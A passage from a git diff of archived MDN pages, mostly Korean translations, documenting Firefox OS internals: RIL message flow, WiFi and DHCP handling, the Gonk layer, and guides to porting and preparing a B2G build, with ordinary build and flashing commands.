The consumer of these messages is SystemWorkerManager, which repackages the messages and dispatches them to the ril_worker.js thread that implements the RIL state machine; this is done in the RILReceiver::MessageReceived() method:

+ +
virtual void MessageReceived(RilRawData *aMessage) {
+  nsRefPtr<DispatchRILEvent> dre(new DispatchRILEvent(aMessage));
+  mDispatcher->PostTask(dre);
+}
+ +

The task posted to that thread in turn calls the onRILMessage() function, which is implemented in JavaScript. This is done using the JavaScript API function JS_CallFunctionName():

+ +
return JS_CallFunctionName(aCx, obj, "onRILMessage", NS_ARRAY_LENGTH(argv),
+                           argv, argv);
+ +

onRILMessage() is implemented in dom/system/gonk/ril_worker.js, which processes the message bytes and chops them into parcels. Each complete parcel is then dispatched to individual handler methods as appropriate:

+ +
handleParcel: function handleParcel(request_type, length) {
+  let method = this[request_type];
+  if (typeof method == "function") {
+    if (DEBUG) debug("Handling parcel as " + method.name);
+    method.call(this, length);
+  }
+}
+
+ +

This code works by getting the request type from the object, making sure it's defined as a function in the JavaScript code, then calling the method. Since ril_worker.js implements each request type in a method given the same name as the request type, this is very simple.

+ +

In our example, RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED, the following handler is called:

+ +
RIL[UNSOLICITED_RESPONSE_CALL_STATE_CHANGED] = function UNSOLICITED_RESPONSE_CALL_STATE_CHANGED() {
+  this.getCurrentCalls();
+};
+ +

As you see in the code above, when notification is received that the call state has changed, the state machine simply fetches the current call state by calling the getCurrentCall() method:

+ +
getCurrentCalls: function getCurrentCalls() {
+  Buf.simpleRequest(REQUEST_GET_CURRENT_CALLS);
+}
+ +

This sends a request back to rild to request the state of all currently active calls. The request flows back along a similar path the RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED message followed, but in the opposite direction (that is, from ril_worker.js to SystemWorkerManager to Ril.cpp, then rilproxy and finally to the rild socket). rild then responds in kind, back along the same path, eventually arriving in ril_worker.js's handler for the REQUEST_GET_CURRENT_CALLS message. And thus bidirectional communication occurs.

+ +

The call state is then processed and compared to the previous state; if there's a change of state, ril_worker.js notifies the nsIRadioInterfaceLayer service on the main thread:

+ +
_handleChangedCallState: function _handleChangedCallState(changedCall) {
+  let message = {type: "callStateChange",
+                 call: changedCall};
+  this.sendDOMMessage(message);
+}
+ +

nsIRadioInterfaceLayer is implemented in dom/system/gonk/RadioInterfaceLayer.js; the message is received by its onmessage() method:

+ +
 onmessage: function onmessage(event) {
+   let message = event.data;
+   debug("Received message from worker: " + JSON.stringify(message));
+   switch (message.type) {
+     case "callStateChange":
+       // This one will handle its own notifications.
+       this.handleCallStateChange(message.call);
+       break;
+   ...
+
+ +

All this really does is dispatch the message to the content process using the Parent Process Message Manager (PPMM):

+ +
handleCallStateChange: function handleCallStateChange(call) {
+  [some internal state updating]
+  ppmm.sendAsyncMessage("RIL:CallStateChanged", call);
+}
+ +

In the content process, the message is received by receiveMessage() method in the nsIRILContentHelper service, from the Child Process Message Manager (CPMM):

+ +
receiveMessage: function receiveMessage(msg) {
+  let request;
+  debug("Received message '" + msg.name + "': " + JSON.stringify(msg.json));
+  switch (msg.name) {
+    case "RIL:CallStateChanged":
+      this._deliverTelephonyCallback("callStateChanged",
+                                     [msg.json.callIndex, msg.json.state,
+                                     msg.json.number, msg.json.isActive]);
+      break;
+ +

This, in turn, calls the nsIRILTelephonyCallback.callStateChanged() methods on every registered telephony callback object. Every web application that accesses the window.navigator.mozTelephony API has registered one such callback object that dispatches events to the JavaScript code in the web application, either as a state change of an existing call object or a new incoming call event.

+ +
NS_IMETHODIMP Telephony::CallStateChanged(PRUint32 aCallIndex, PRUint16 aCallState,
+                                          const nsAString& aNumber, bool aIsActive) {
+  [...]
+
+  if (modifiedCall) {
+    // Change state.
+    modifiedCall->ChangeState(aCallState);
+
+    // See if this should replace our current active call.
+    if (aIsActive) {
+      mActiveCall = modifiedCall;
+    }
+
+    return NS_OK;
+  }
+
+  nsRefPtr<TelephonyCall> call =
+          TelephonyCall::Create(this, aNumber, aCallState, aCallIndex);
+  nsRefPtr<CallEvent> event = CallEvent::Create(call);
+  nsresult rv = event->Dispatch(ToIDOMEventTarget(), NS_LITERAL_STRING("incoming"));
+  NS_ENSURE_SUCCESS(rv, rv);
+  return NS_OK;
+}
+ +

Applications can receive these events and update their user interface and so forth:

+ +
handleEvent: function fm_handleEvent(evt) {
+  switch (evt.call.state) {
+    case 'connected':
+      this.connected();
+      break;
+    case 'disconnected':
+      this.disconnected();
+      break;
+    default:
+      break;
+  }
+}
+ +

Take a look at the implementation of handleEvent() in the Dialer application as an extended example.

+ +

3G data

+ +

There is a RIL message that initiates a "data call" to the cellular service; this enables data transfer mode in the modem. This data call ends up creating and activating a Point-to-Point Protocol (PPP) interface device in the Linux kernel that can be configured using the usual interfaces.

+ +
+

Note: This section needs to be written.

+
+ + + +

This section lists DOM APIs that are related to RIL communications.

+ + + +

WiFi

+ +

The WiFi backend for Firefox OS simply uses wpa_supplicant to do most of the work. That means that the backend's primary job is to simply manage the supplicant, and to do some auxiliary tasks such as loading the WiFi driver and enabling or disabling the network interface. In essence, this means that the backend is a state machine, with the states following the state of the supplicant.

+ +
+

Note: Much of the interesting stuff that happens in WiFi depends deeply on possible state changes in the wpa_supplicant process.

+
+ +

The implementation of the WiFi component is broken up into two files:

+ +
+
dom/wifi/DOMWifiManager.js
+
Implements the API that's exposed to web content, as defined in nsIWifi.idl.
+
dom/wifi/WifiWorker.js
+
Implements the state machine and the code that drives the supplicant.
+
+ +

These two files communicate with one another using the message manager. The backend listens for messages requesting certain actions, such as "associate", and responds with a message when the requested action has been completed.

+ +

The DOM side listens for the response methods as well as several event messages that indicate state changes and information updates.

+ +
+

Note: Any synchromous DOM APIs are implemented by caching data on that side of the pipe. Synchronous messages are avoided whenever possible.

+
+ +

WifiWorker.js

+ +

This file implements the main logic behind the WiFi interface. It runs in the chrome process (in multi-process builds) and is instantiated by the SystemWorkerManager. The file is generally broken into two sections: a giant anonymous function and WifiWorker (and its prototype). The anonymous function ends up being the WifiManager by providing a local API, including notifications for events such as connection to the supplicant and scan results being available. In general, it contains little logic and lets its sole consumer control its actions while it simply responds with the requested information and controls the details of the connection with the supplicant.

+ +

The WifiWorker object sits between the WifiManager and the DOM. It reacts to events and forwards them to the DOM; in turn, it receives requests from the DOM and performs the appropriate actions on the supplicant. It also maintains state information about the supplicant and what it needs to do next.

+ +

DOMWifiManager.js

+ +

This implements the DOM API, transmitting messages back and forth between callers and the actual WiFi worker. There's very little logic involved.

+ +
+

Note: In order to avoid synchronous messages to the chrome process, the WiFi Manager does need to cache the state based on the received event.

+
+ +

There's a single synchronous message, which is sent at the time the DOM API is instantiated, in order to get the current state of the supplicant.

+ +

DHCP

+ +

DHCP and DNS are handled by dhcpcd, the standard Linux DHCP client. However, it's not able to react when the network connection is lost. Because of this, Firefox OS kills and restarts dhcpcd each time it connects to a given wireless network.

+ +

dhcpcd is also responsible for setting the default route; we call into the network manager to tell the kernel about DNS servers.

+ +

Network Manager

+ +

The Network Manager configures network interfaces opened by the 3G data and WiFi components.

+ +
+

Note: This needs to be written.

+
+ +

 

diff --git a/files/ko/archive/b2g_os/platform/gonk/index.html b/files/ko/archive/b2g_os/platform/gonk/index.html new file mode 100644 index 0000000000..6482db30f1 --- /dev/null +++ b/files/ko/archive/b2g_os/platform/gonk/index.html @@ -0,0 +1,103 @@ +--- +title: Gonk +slug: Archive/B2G_OS/Platform/Gonk +translation_of: Archive/B2G_OS/Platform/Gonk +--- +
+

Gonk는 Firefox OS 플랫폼의 하위 레벨 운영체제이며, 안드로이드 오픈 소스 프로젝트(Android Open Source Project, AOSP) 기반의 리눅스 커널과 사용자영역 하드웨어 추상 계층(userspace hardware abstraction layer, HAL)으로 이루어져 있습니다. 이 문서는 Gonk가 무엇으로 구성되어 있는지 설명하는 것을 목적으로 합니다. 전체적인 Firefox OS의 구조와 그 구조에 Gonk가 어떻게 맞추어져 있는지에 대한 내용은 Firefox OS architecture를 참고하시기 바랍니다.

+
+ +

Gonk 개요

+ +

Gonk는 Firefox OS에서 Gecko와 하드웨어 사이의 인터페이스를 제공하는 커널 레벨의 컴포넌트입니다. Gonk는 하드웨어를 제어하고, 하드웨어의 기능을 Gecko에 구현된 Web API로 노출시킵니다. Gonk는 모바일 기기를 제어하는 동작 뒤에서 하드웨어 수준의 요청을 통해 온갖 복잡하고 세밀한 작업을 하는 "블랙박스"로 볼 수 있습니다.

+ +

Gonk는 안드로이드로부터 가져온 (GPS와 카메라 같은) 컴포넌트들을 포함하고 있는 간단한 리눅스 배포판입니다. 그리고 Firefox OS 구조의 모든 계층과 통합하기 위해 libusb, bluez 등의 일반적인 오픈 소스 프로젝트들을 포함하도록 모질라에 의해 확장되었습니다. 이러한 설계는 Firefox OS 스마트폰의 배포를 위해 OEM이 안드로이드의 소프트웨어 컴포넌트들(디바이스 드라이버, 펌웨어, 서비스-레벨 데몬 등)을 포팅하는 것을 더 쉽게 만들어 줍니다.

+ +

Gonk는 디바이스 포팅 계층(device porting layer)입니다: 즉 하드웨어와 Gecko 사이의 어댑터입니다. Gonk는 Gecko의 포팅 계층들과 짝을 이루는 Gecko 포트로 생각할 수 있는 비교적 간단한 리눅스 배포판입니다. - 그래서 Gonk는 Gecko의 포팅 대상이 됩니다. OS X, Windows, Android에 대한 Gecko의 포트가 있는 것처럼.

+ +
+

Note: 모바일 기기들은 다양한 칩셋과 하드웨어 사양을 갖기 때문에 여러 가지의 Gonk 배포판을 가질 수 있습니다.

+
+ +

Firefox OS 프로젝트는 Gonk를 통해 완전한 제어가 가능하기 때문에 다른 OS에서는 노출될 수 없는 인터페이스를 Gecko에 노출시킬 수 있습니다. 예를 들어 Gecko가 Gonk 상에서 전화(telephony)와 디스플레이 프레임 버퍼(display frame buffer)에 직접적인 접근을 할 수 있습니다.

+ +

Gonk 구조

+ +

각 모바일 폰은 기기를 동작시키는데 필요한 시스템 라이브러리, 디바이스 드라이버, 펌웨어에 기반한 Gonk 컴포넌트들의 특별한 조합을 가집니다. 이러한 컴포넌트들은 OEM이 칩셋 제조사와 ODM과의 협력을 통해 결정합니다. 다음 그림은 Gonk 구현의 한 예를 보여줍니다:

+ +

+ +

이 예는 (Gonk 구현에서 가능한 여러 구성요소들의 부분집합인) 다음의 주요 구성요소들을 보여줍니다:

+ + + +

Gonk는 또한 Firefox OS의 Gecko 계층인 b2g 프로세스를 시작하고 관리하고 종료합니다. b2g 프로세스는 Gonk안에서 서비스-레벨 데몬들의 클라이언트로 동작합니다. 서비스-레벨 데몬들은 하드웨어와 직접 동작하며 폰에 있는 하드웨어 기능을 Gecko에 노출시킵니다. Gecko는 이러한 데몬들과 프로세스간 통신(interprocess communication)을 통해 대화합니다. 이 컴포넌트들은 요청에 대한 명령과 프로토콜을 서로 주고받고, 서비스를 제공합니다.

+ +
+

Note: Gonk 구조에 대한 보다 상세한 설명은 Firefox OS architecture guide를 참고하시기 바랍니다.

+
+ +

Gonk 포팅하기

+ +

Firefox OS가 안드로이드 커널 기반이기 때문에, 기존의 디바이스 드라이버, 펌웨어, 서비스 데몬들과 기타 컴포넌트들은 최소한의 작업으로 Firefox OS와 동작하도록 포팅될 수 있습니다. 만일 커스텀 컴포넌트(예, 커스텀 RIL 또는 새로운 데몬)가 필요하거나 ODM의 레퍼런스 디자인에 수정이 생겼다면 추가적인 통합과 테스팅 작업이 필요할 수는 있습니다.

+ +

b2g에서 클라이언트는 프로세스간 통신(inter-process communication, IPC)을 통해 서비스-레벨 데몬들과 통신합니다. 클라이언트는 서비스 레벨 데몬에 소켓 연결을 시작하고, 그 연결 상에서 (서버의 요청 프로토콜을 사용하여) 요청을 제출하며, 응답을 받고, 연결을 종료합니다. OEM은 클라이언트와 서버 사이의 이러한 프로세스간 통신의 디자인과 구현을 담당합니다.

+ +
+

Note: 포팅 작업에 대한 보다 상세한 정보는 Porting Firefox OS를 참고하시기 바랍니다.

+
+ +

모질라가 OEM 및 폰 제조사와 Gonk 포팅 작업을 하는 방식

+ +

모든 Gonk 구현은 모질라, OEM 및 관련 제조사(ODM, 칩셋 제조사)들 사이의 협력의 결과입니다.

+ +

모질라는 소스 저장소(source repositories)를 제공하고 해당하는 Firefox OS 배포판의 Gonk를 위한 파일들을 지원합니다. 소스 저장소는 (조금 수정된) 기본적인 리눅스 커널과 Gecko 에 대한 연결(hooks into Gecko)을 포함하고 있습니다.

+ +

OEM은 해당 디바이스 모델에 대한 Firefox OS 시스템 이미지의 빌드, 컴파일, 테스팅, 인증 및 배포를 담당합니다. 시스템 이미지의 Gonk 부분에 대해 OEM은 Web API 호출과 폰 하드웨어 기능들 사이의 일관적인 통합을 확보하기 위한 대부분의 작업을 담당합니다. 요구되는 작업의 형태와 범위는 폰에 사용되는 특정 칩셋과 기타 하드웨어 컴포넌트들에 많이 의존하게 됩니다.

+ +

디바이스 컴포넌트 (Device components)

+ +

OEM은 칩셋 제조사 및 ODM과 함께 모바일 디바이스를 구동하기 위해 필요한 모든 디바이스 컴포넌트들을 제공하기 위해 협력합니다. 예를 들어, Wi-Fi 컴포넌트 제조사는 칩셋과 함께 관련 소프트웨어를 제공합니다. 컴포넌트들은 다음을 포함합니다:

+ + + +

Gonk와 Gecko의 통합

+ +

OEM은 모바일 기기의 하드웨어 기능들이 Gecko에 구현된 Web API에 올바르고 온전하게 노출되도록 보장해야 합니다. 이것은 다음을 포함합니다.

+ + + +

Gonk 소스코드

+ +

Github의 메인 B2G 저장소는 Gonk의 저장소로 여겨질 수 있도록 다양한 기기들에 대해 공식적으로 지원되는 Gonk 포트(ports)를 포함하고 있습니다. 지원 기기들에 대한 목록은 B2G/config.sh에 있습니다.

+ +

Gonk에 정의된 b2g 프로세스는 mozilla-b2g/gonk-misc에서 찾을 수 있습니다. b2g 소스코드에 대한 수정은 여기서 이루어집니다.

+ +
+

Note: Gecko 소스안에 Gecko의 Gonk 포트를 포함하는 b2g/ 폴더가 있습니다: 이 폴더는 리눅스 커널, HAL, 기타 OEM 라이브러리들로 구성됩니다.

+
+ +

매일 수행되는 Gonk 작업의 대부분은 시스템을 다른 보드에 포팅하고, 다양한 기기에서 Gecko가 잘 동작하는지 확인하는 것을 포함합니다.

+ +
+
+ +

 

diff --git a/files/ko/archive/b2g_os/platform/index.html b/files/ko/archive/b2g_os/platform/index.html new file mode 100644 index 0000000000..ae5425436e --- /dev/null +++ b/files/ko/archive/b2g_os/platform/index.html @@ -0,0 +1,99 @@ +--- +title: The Firefox OS platform +slug: Archive/B2G_OS/Platform +tags: + - B2G + - Firefox OS + - NeedsTranslation + - TopicStub +translation_of: Archive/B2G_OS/Platform +--- +

The Firefox OS platform consists of many components. While you don't need to understand its architecture in order to build applications that run on Firefox OS, if you're working on developing or porting the platform—or are simply curious—the following documentation may be of interest to you.

+ + + + + + + +
+

Documentation about the Firefox OS platform

+
+
+ Introduction to Firefox OS
+
+ Introductory information about what Firefox OS is and how it works.
+
+ Building and installing Firefox OS
+
+ A guide to building Firefox OS and installing it on your compatible device. This guide also covers building the Firefox OS emulator, for running Firefox OS on a computer.
+
+ Gaia
+
+ Documentation about Gaia, the user interface application for Firefox OS devices; this is a Web application running atop the Firefox OS software stack.
+
+ Gonk
+
+ Documentation about Gonk, the operating system layer underneath Gaia. This consists of a Linux kernel and a hardware abstraction layer to which Gecko communicates.
+
+ Gecko
+
+ Gecko is the layer of Firefox OS that provides the same open web standards implementation used by Firefox and Thunderbird, as well as many other applications.
+
+ Feature support chart
+
+ A chart of which features are available in which types of Firefox OS builds.
+
+ Firefox OS architecture overview
+
+ An overview of how Firefox OS is structured internally; this is primarily of interest to platform developers and people doing porting work.
+
+ Firefox OS apps architecture
+
+ An overview of the application model on Firefox OS.
+
+ Testing Firefox OS
+
+ A guide to testing Firefox OS, including information about creating automated tests.
+
+ Porting Firefox OS
+
+ Information about how to port Firefox OS to new devices.
+
+ Customization with the .userconfig file
+
+ How to customize the build and execution of Firefox OS by changing the .userconfig file.
+
+

View All...

+
+

Getting help from the community

+

If you're working with Firefox OS, or developing applications you'd like to run on Firefox OS devices, there are community resources to help you!

+ +
    +
  • Ask your question on Mozilla's Boot to Gecko IRC channel: #b2g
  • +
+

Don't forget about the netiquette...

+
+ + +

Resources

+ +
+

 

diff --git a/files/ko/archive/b2g_os/porting/index.html b/files/ko/archive/b2g_os/porting/index.html new file mode 100644 index 0000000000..e850181405 --- /dev/null +++ b/files/ko/archive/b2g_os/porting/index.html @@ -0,0 +1,121 @@ +--- +title: Boot to Gecko를 Porting하는 방법 +slug: Archive/B2G_OS/Porting +translation_of: Archive/B2G_OS/Porting_B2G_OS/basics +--- +

Boot to Gecko (Firefox OS)는 Android로부터 파생된 커널을 사용하고, 그 위애 Gecko 기반의 UI가 올라갑니다. 이 페이지는 새로운 타겟에 운영 체제를 어떻게 porting하는지에 대한 기본적인 guide를 제공합니다.

+

이 guide는 이미 Android가 수행되는 새로운 타겟에 porting하는 것을 가정하고 있습니다. 만약 Android 이외에 또 다른 타겟에 porting하려고 하면, 또 다른 업무들이 추가되어야 합니다.

+

Set up your build system

+

The first step is to configure your build system; you can follow the guide in Firefox OS build prerequisites.

+

Create a local backup of the original Android system

+

Next, you should back up your Android device before you start nuking it with your test builds of B2G. In addition, some of these bits will be needed by the build and install process.

+
mkdir my_device_backup
+cd my_device_backup
+adb pull /system system
+

Clone the B2G repositories

+

The first step is to clone the B2G repository as well as the repository with the manifests.

+
git clone https://github.com/mozilla-b2g/B2G.git
+git clone https://github.com/mozilla-b2g/b2g-manifest.git
+

Add a new device to config.sh

+

The next step is to add a new device to config.sh in the B2G repository;  you can use the existing ones as a template. This basically involves providing the instructions for fetching the correct files to do the build.

+

Create a manifest for the new device

+

Now you need to add a manifest file for the new device. Refer to one of the existing manifests for a template. You can use the hamachi manifest a reference. Once done, you should add and commit your new manifest to your local b2g-manifest repository:

+
git add my-new-device.xml
+git commit
+
+

Next, you will want the config.sh file to use your local b2g-manifest repository instead of the official one. To achieve this, change the values of the GITREPO and BRANCH variables in the config.sh file to the location of your local repository and desired branch, for example:

+
GITREPO=${GITREPO:-"file:///home/yourname/b2g-manifest"}
+BRANCH=${BRANCH:-master}
+

Create a configuration tree for the new device

+

Create a new configuration tree for the new device. This should be at device/<manufacturer>/<device_id>. This tree should include, at least:

+ +

The content here may differ a great deal from one device to another. In particular, BoardConfig.mk and extract-files.sh may differ significantly. This part requires a lot of hacking, testing, and debugging to figure out which binary blobs should be extracted. To get a better idea what is supposed to be contained there, take a look at the configuration for the hamachi device. Remember to correctly reference your own configuration tree from the manifest you created for your new device.

+
+

Note: If you can find an existing reference on CyanogenMod for your device, this information will speed up the porting process. the XDA Forum is another good place to discuss and check for resources.

+
+

Rebuilt boot.img

+

Once you have all that done, you need to rebuild the boot image. This isn't usually needed for the kernel itself, but to pick up the changes to init.rc.

+

Changes to init.rc

+

The init.rc you use is not the one provided by B2G; instead, you need to pull it from the device.

+

The main things you'll need to modify are:

+

Import init.b2g.rc

+

Add the following lines to import init.b2g.rc:

+
on early-init
+    start ueventd
+    import /init.b2g.rc
+

Fix permissions

+

Correct the permissions on the files /system/b2g/b2g, /system/b2g/updater, /system/b2g/plugin-container; this should be done after the lines that mount the filesystem read/write:

+
chmod 0755 /system/b2g/b2g
+chmod 0755 /system/b2g/updater
+chmod 0755 /system/b2g/plugin-container
+

You might want to start by modifying the init.rc from the new device instead of using the init.rc provided by the build system; if so, you need to remember to set TARGET_PROVIDES_INIT_RC in BoardConfig.mk.

+

Prebuilt kernel vs. building the kernel from source

+

You can use a prebuilt kernel, or you may build the kernel from source. To build the kernel from source, add AndroidKernel.mk and the kernel config to the device configuration tree.

+

The maguro on the old build system is an example that builds the kernel from source.

+

Extracting and modifying an existing boot image

+

It is possible to recover the boot image of a phone by dumping the contents of the /dev/mtd/mtd1 or /dev/mtd/mtd2 devices, the resulting image file can then be easily recovered:

+
adb shell 'cat /dev/mtd/mtd1 > /sdcard/boot.img'
+adb pull /sdcard/boot.img
+
+

Once the boot image file has been obtained it can be unpacked via a helper tool such as unmkbootimg. The tool will extract both the kernel image (zImage) and the ramdisk (initramfs.cpio.gz) as well as printing out a command to rebuild the image with the same parameters of the original one, for example:

+
$ unmkbootimg boot.img
+Kernel size 3872576
+Kernel address 0x208000
+Ramdisk size 265102
+Ramdisk address 0x1500000
+Secondary size 0
+Secondary address 0x1100000
+Kernel tags address 0x200100
+Flash page size 2048
+Board name is ""
+Command line "androidboot.hardware=aphone"
+Extracting kernel to file zImage ...
+Extracting root filesystem to file initramfs.cpio.gz ...
+All done.
+---------------
+To recompile this image, use:
+  mkbootimg --kernel zImage --ramdisk initramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o new_boot.img
+---------------
+
+

To modify the ramdisk file create an output directory and extract it there:

+
mkdir initramfs_dir
+cd initramfs_dir
+gunzip -c ../initramfs.cpio.gz | cpio -i
+
+

Make all the required changes (such as modifying init.rc) and repack the ramdisk using mkbootfs, be sure to use the version that has been built with the B2G host tools:

+
/path/to/your/B2G/out/host/linux-x86/bin/mkbootfs . | gzip > ../newinitramfs.cpio.gz
+
+

Finally go back to the top-level directory and re-pack the boot image using the mkbootimg, also make sure you're using the version built with the other B2G host tools:

+
/path/to/your/B2G/out/host/linux-x86/bin/mkbootimg --kernel zImage --ramdisk newinitramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o newboot.img
+
+

If you now copy the new boot image under out/target/product/$DEVICE/boot.img (where $DEVICE is your device name) it will be automatically flashed when invoking flash.sh. Alternatively you can flash it by hand with the following commands:

+
adb reboot bootloader
+fastboot flash boot newboot.img
+fastboot reboot
+
+

Add the new device to flash.sh

+

Add the new device to flash.sh; the specifics of how to do this will depend on what tools need to be used to flash the new device.

+

Configure, build, and flash the new device

+

Now you can try building for and flashing to your new device:

+
ANDROIDFS_DIR=my_device_backup ./config.sh <device_id> '../b2g-manifest/default.xml'
+./build.sh
+./flash.sh
+

Test and debug

+

We need some details added here; indeed, this entire article could use some help.

+

FAQ

+

Forthcoming

+

See also

+ diff --git a/files/ko/archive/b2g_os/preparing_for_your_first_b2g_build/index.html b/files/ko/archive/b2g_os/preparing_for_your_first_b2g_build/index.html new file mode 100644 index 0000000000..30286822a1 --- /dev/null +++ b/files/ko/archive/b2g_os/preparing_for_your_first_b2g_build/index.html @@ -0,0 +1,148 @@ +--- +title: 처음 B2G 빌드를 위한 준비 +slug: Archive/B2G_OS/Preparing_for_your_first_B2G_build +translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build +--- +

+ +
중요: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/25)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.
+ +

여기서는 B2G 빌드를 하기 전에 수행 해야 하는 repository를 가져오고 빌드 환경을 설정에 대해 알아 봅니다.

+ +

B2G repository 가져 오기

+ +

첫번째로, 빌드를 처음으로 시작하기에 앞서, B2G repository를 가져 와야 합니다. 이 단계가 모든 것을 다 가져 오는 것은 아니고, B2G build system을 가져 오고 빌드에 필요한 각종 툴들을 가져 옵니다. 대부분의 B2G code는 아직 main Mozilla Mercurial repository에 존재 합니다.

+ +

Repository를 가져 오기 위해 "git"을 사용합니다.

+ +
git clone git://github.com/mozilla-b2g/B2G.git
+ +

몇분간의 git작업 진행 후 새로 생긴 "B2G"폴더로 이동하세요.

+ +
cd B2G
+
+ +

작업중이던 B2G tree를 새로 구성한 빌드 환경으로 복사하기(작업 중일 경우만 진행, 그외는 다음 단계로)

+ +

If you've gotten a new computer (lucky you!), you'll find your life will be much easier if you simply migrate your entire B2G tree from one computer to another.

+ +

To do that, mount your old computer's drive onto your new computer, then do this:

+ +
rsync -a source/ dest/
+
+ +

Where source is the full path (including the trailing slash) of the source tree, and dest is where you want to put it (the trailing slash is also important!).

+ +
+

Note: If you copy the files from a computer with another platform ensure to run './build.sh clean' before you start the build process. If you don't do this you might encounter compilation issues.

+
+ +

If you do this, you can skip all of the rest of this article and move right on to building.

+ +

단말기용 B2G 환경 설정

+ +
중요: 단말기는 안드로이드 4 (즉 아이스크림 샌드위치(ICS)) 가 설치 되어 있어야 합니다. 단말기에 구동중인 안드로이드 버전을 확인하시고, 그렇지 않으면 대부분 이단계 부터 실패를 할 것입니다. 또한 USB에 연결된 단말기로 다운로드를 할 경우 만약 USB허브로 연결 되어 있을 경우는 문제를 발생할 수 있으므로, 허브가 아닌 직접 PC에 연결된 USB와 연결 하시기 바랍니다.
+ +

Core B2G build system을 다 받고 나면, 설치하고자 하는 단말기에 맞는 환경을 설정 해야 합니다. 지원되는 단말기의 종류를 보려면 아래와 같이 실행 하세요.

+ +
./config.sh
+
+ +

리스트는 아래와 같이 보일 것입니다.

+ +
Usage: ./config.sh [-cdflnq] (device name)
+Flags are passed through to |./repo sync|.
+
+Valid devices to configure are:
+- galaxy-s2
+- galaxy-nexus
+- nexus-4
+- nexus-4-kk
+- nexus-5
+- nexus-5-l
+- nexus-s
+- nexus-s-4g
+- flo (Nexus 7 2013)
+- otoro
+- unagi
+- inari
+- keon
+- peak
+- hamachi
+- helix
+- tarako
+- dolphin
+- dolphin-512
+- pandaboard
+- vixen
+- flatfish
+- flame
+- flame-kk
+- flame-l
+- rpi (Revision B)
+- emulator
+- emulator-jb
+- emulator-kk
+- emulator-l
+- emulator-x86
+- emulator-x86-jb
+- emulator-x86-kk
+- emulator-x86-l
+> Sony Xperia devices
+- aries (Z3 Compact KK)
+- aries-l (Z3 Compact L)
+- leo-kk (Z3 KK)
+- leo-l (Z3 L)
+- scorpion-l (Z3 Tablet Compact L)
+- sirius-l (Z2 L)
+- tianchi-l (T2U L)
+- flamingo-l (E3 L)
+ +

만약 해당 단말기가 리스트에 없다면, 바로 모든 과정을 중단하고 B2G 포팅 도움을 요청하거나 누군가 해당 단말기용 작업을 완료 하기를 기다리세요. Mozilla에서는 당신의 도움을 환영합니다!

+ +
Note: 특정 버전의 Gecko와 상관 없이 빌드를 하고자 한다면, 진행 하기 전에Building against a custom Gecko 를 참고 하세요.
+ +

모바일 단말기 환경 설정

+ +

우선, 환경설정시 단말기와 통신을 하게 되므로, 설정 하고자 하는 단말기를 연결하세요.

+ +

원하는 단말기의 종류가 위에 나와 있다면, 아래와 같이 config.sh + 단말기 이름을 입력 하세요. Samsung Google Nexus S를 예로 들면 아래와 같습니다.

+ +
./config.sh nexus-s
+
+ +

설정 시작하고 바로 아마도 색상 환경 설정을 입력 해야 할 것입니다. 색상 선택이 완료되면 환경 설정은 계속 진행 됩니다. 지금부터는 Boot to Gecko빌드에 필요한 모든 코드를 복하게될 것이며, 이는 상당한 시간이 소요 될 것이니 잠깐 쉬는 시간을 가지도록 하세요.(2시간 이상 소요 예상됨)

+ +

If your phone no longer has Android on and your B2G tree doesn't have the binary blobs in it, and you wisely made a backup of the /system partition like an earlier page told you to, you can use it like this:

+ +
ANDROIDFS_DIR=<absolute path to parent dir of system dir> ./config.sh <target>
+
+ +

에뮬레이터 빌드 환경 설정

+ +

ARM 에뮬레이터는 "emulator", x86 에뮬레이터는 "emulator-x86"로 아래와 같이 수행 하시면 에뮬레이터용 환경 설정도 가능합니다. x86 에뮬레이터가 ARM용 에뮬레이터보다 수행 속도는 빠르지만 실제 단말기와 다르게 동작 할 수도 있습니다.

+ +

아래는 ARM용 에뮬레이터 환경 설정입니다.

+ +
./config.sh emulator
+
+ +
+

주의: ./config.sh수행은 시간이 많이 걸리므로 Ctrl-C로 중단이 가능하며 이후 다시 진행도 가능합니다. 만약 일부 진행이 문제가 있어 보인다면 './repo sync'를 실행 하시면 문제가 수정될지 모릅니다.

+
+ +

Building against a custom Gecko

+ +

There may be times that you want or need to build Boot to Gecko based on a different version of Gecko than the one that's used by default (as specified in the manifest). You can do so by editing the file .userconfig before you pull the repository (before the config.sh step above). For example, if you want to build against mozilla-central:

+ +
GECKO_PATH=/path/to/mozilla-central
+GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk
+
+ +
+

Note: if building against a custom Gecko in Mac OS X, the mozilla-central directory must be in a case sensitive file system.

+
+ +

See Customization with the .userconfig file for additional customizations you can do.

+ +

다음은, 빌드 시작 하기.

diff --git a/files/ko/archive/b2g_os/quickstart/index.html b/files/ko/archive/b2g_os/quickstart/index.html new file mode 100644 index 0000000000..ebe1f7c220 --- /dev/null +++ b/files/ko/archive/b2g_os/quickstart/index.html @@ -0,0 +1,49 @@ +--- +title: Build +slug: Archive/B2G_OS/Quickstart +tags: + - NeedsTranslation + - TopicStub +translation_of: Archive/B2G_OS/Quickstart +--- +
+

Quickstart information on coding open web apps.

+
+
+
+ Introduction to open web apps
+
+ What are open web apps? How they differ from regular web pages? Why is this significant? This article aims to answer these questions and more.
+
+ Your first app
+
+ This article takes you through the basic steps and additional knowledge on top of regular web development required to create installable open web apps.
+
+ Introduction to Firefox OS
+
+ An introduction to Firefox OS, Mozilla's new open web app-based mobile platform.
+
+ Introduction to manifests
+
+ An FAQ designed to answer any questions you may have about manifests, hosting apps, origins, and other such topics.
+
+ App development for web developers
+
+ If you're a web developer, how do open web apps differ from what you're used to? This article explains all.
+
+ App development for mobile developers
+
+ If you're a native mobile application developer, what advantages can open web apps bring to you, and how do they differ from what you are used to? Here are some ideas.
+
+ Developing app functionality
+
+ This page talks about the kinds of different functionality that you might want to build into your apps, with links to further information.
+
+ Payments
+
+ How do you build functionality to make people pay for installing your open web apps? Here is the lowdown.
+
+ App tools
+
+ Last for this section, we provide some links to more information on the tools available to help you develop great open web apps.
+
